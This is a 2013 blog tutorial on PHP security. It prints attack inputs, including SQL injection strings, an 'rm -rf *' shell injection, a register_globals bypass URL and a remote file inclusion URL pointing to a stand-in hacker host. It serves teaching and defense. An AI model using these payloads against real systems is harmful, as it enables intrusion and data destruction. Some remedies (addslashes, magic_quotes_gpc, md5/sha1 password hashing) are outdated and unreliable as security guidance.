menu

Tuesday 5 March 2013

Securing PHP codes


PHP security is very important, as insecure php code can trigger in intrusion to your server. This article explains few such vulnerabilities, so that you can avoid them in your scripts. I will also explain methods to tweak PHP config files(php.ini) for maximum security.
PHP run with Nobody Permission.
Problem:
In Cpanel servers PHP runs with nobody permission. This may become a major security issue if the permission you have given is 777. This will allow the ‘ nobody ‘ user to edit the file and execute it. So always keep an eye on the permissions of your files.
Solution :
Always set the php script permission to 755 so that others cannot edit or change it. Enable PHPsuexec on the server. PHPsuexec will not allow php script to run as 777 permissions and also users cannot read another users’s file. In PHPsuexec enabled servers, its common to find out the source of spamming from php scripts using mail() functions. So in shared-servers, always enable phpsuexec for maximum security.
Issues with global variables.

Problem:
Using register_globals makes your coding easier. With register_globals=ON you can pass values to another php page. But making register_globals=ON can make your scripts vulnerable. Since php does not require the variables to be initialized users can assign any values to them using register_globals. With a creative mind anyone can access the protected area of the code. Here is an example.
Consider this as password.php
if ($KEY == "XXXX") {$check = 1;}
if ($check == 1) { //YOUR CODE GOES HERE( admin area)}


You can pass values as “password.php?$check=1″ and will allow you to go to the “admin area” whether you entered correct KEY or not.
Solution:
One way is to disable register_globals but this will make you difficult for your coding. Otherwise make sure that you have initialized the variables.In this case initialize $check = 0. You can enable register_globals in your server but always note the security issues with it.


Problems with functions like exec() , system() and backticks

Problem.


Functions like exec() and system() are used for executing external programs.
So it can execute the shell command also. If you pass a user input value to exec() function it can make very bad results. If you call system($input_from_user) function user can enter any command as input and execute in your machine. Even he can delete all the contents by just giving
“rm -rf * ” . Also in the exec() function user can enter any command by just using a semi-column (;) in the argument section.


Solution:


Disable insecure functions using disable_functions in php.ini.
You can use like ,
 disable_functions = system,exec


Also you can use EsacpeShellCmd() before passing the value to system() or exec() functions. It will escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.
EscapeShellArg() can also be used for the same purpose. It will put single quotes around the string. So it will escape any existing single quotes in the string.


Including Files

You can include a php script in other php page with ‘ include ‘ .
But if the page path is passed as a variable then you may get in trouble. The user can include a remote file which may contain malicious scripts. The hacker can also include other local files also.
If our php page include.php is like
 $page=$_GET['path'];
include $page;


Then, “include.php?path=http://hackingsite.com/hacking.php” will include the remote file hacking.php so that hacker can execute the hacking.php script in your server.


Solution:


You can disable the inclusion of remote files by editing the value of allow_url_fopen. Set this as OFF in php.ini. Also set the open_basedir correctly in the php.ini . Using open_basedir will restrict the file inclusion upto to the defined directory. Also check the file name with a ’switch’ or ‘if’ to make sure that it is an allowed one.


SQLInjection Attacks

Problem
PHP is well packaged for its use with mysql.But using some simple techniques others can hack into your database. If your script is not secured well users can execute any sql commands.
Let me explain an example.
$user = $_POST['username'];
$pass = $_POST['password'];
$result = mysql_query(”SELECT AcctNo FROM Users WHERE
Username = ‘”.$user.”‘ and Password = ‘”.$pass.”‘”);


Consider one user has entered a username as
‘ OR 1=1 #
and password as XXXX
Then our query will be
SELECT AcctNo FROM Users WHERE Username = '' OR 1=1 #' and Password = 'XXXX'


Mysql consider all after the ‘#’ as comments so it will ignore it. So with
the remaining query it will always select all the account numbers and will
return it. So the user can get the account numbers even though he does not have any correct username and pasword.
Also giving password: as some_value’ OR ‘X’='X will also bypass this query.
Remedy :
The problem here come from the ‘ (single quotes) entered by the user. In order to disable it we have two ways. First is the function addslashes() . It will add a /(slash) before all ‘ (quotes) so it will be have no effect. So before executing the query you should pass it addslashes() function. That is, it should be like
$user = addslashes($_POST['username']);
$pass = addslashes($_POST['password']);


Another option is using the magic_quotes_gpc . You can set its value as ‘On’ in the php.ini . If it is On then it will add a backslash before all single quotes and double quotes in the string comming from a HTML form. So we can escape it.
Upto now i have described some of the common mistakes that can come across your php scripts. Next i am going explain about some of the security measures that you have to note for securing your php.


Configure your php.ini
php.ini is the configuration file of PHP. Its has a number of variables. You can set the values of these variables for making your php scripts more secure. Here am explaining some of the them.


1) display_errors 


Disable the display_errors is the first thing. If it is ‘ On ‘ the errors on execution will be displayed to the user’s browser window. So the user can get an idea about the table structure and directory structure. You can avoid this by disabling display_errors in php.ini
 Usage : display_errors=OFF


2) safe_mode

safe_mode is more relevent in a shared server environment. If safe_mode is enabled it will check a UID/GID comparison check on the file/directory to be accessed and compare it to the uid/gid of the script that is trying to access the file. If that are same it will allow the file access if not it will block the access. If you want to compare only GID then you can enable ” safe_mode_gid” value in php.ini .


3)sql.safe_mode 
Make sql.safe_mode as Off. If it is on mysqli_connect() and mysql_connect() will connect to mysql with default username and password.


4)magic_quotes_gpc
Enable magic_quotes_gpc so that you can make your user inputs secure. It work s same as addslashes() function. It will add a backslash () with every single quotes, double quotes.


5)safe_mode_allowed_env_vars and safe_mode_allowed_env_vars
These two variables will protect environment variables from changing using user php scripts. The field safe_mode_allowed_env_vars contains a list of prefixes that identify the names of the environment variables the user is allowed to change. So that environment variables which are not starting with one of them defined in safe_mode_allowed_env_vars cannot be modified.
Another configuration safe_mode_protected_env_vars will set the names of environment variables that the user is not allowed to modify even if it is present in safe_mode_allowed_env_vars.


6)disable_functions
This will allow you to disable the insecure functions such as shell_exec, system,exec.


Take your own logical measures
Besides all these you can take your own security measures while writing php scripts. For example always store your passwords as hashed values. PHP has inbuilt hashing function named md5() and sha1 . md5() is a 128-bit and sha1() is a 160-bit hashing algorithm. If you use this hashing techniques you can save your passwords and important data from hackers even though your databases are compromised.
Always test your codes for different type of inputs and search for any security flaws. Keep in mind that every user input to your php scripts can be malicious. We cannot make our scripts a perfect one but always try for that.


Happy Coding……

Reference:

1 comment: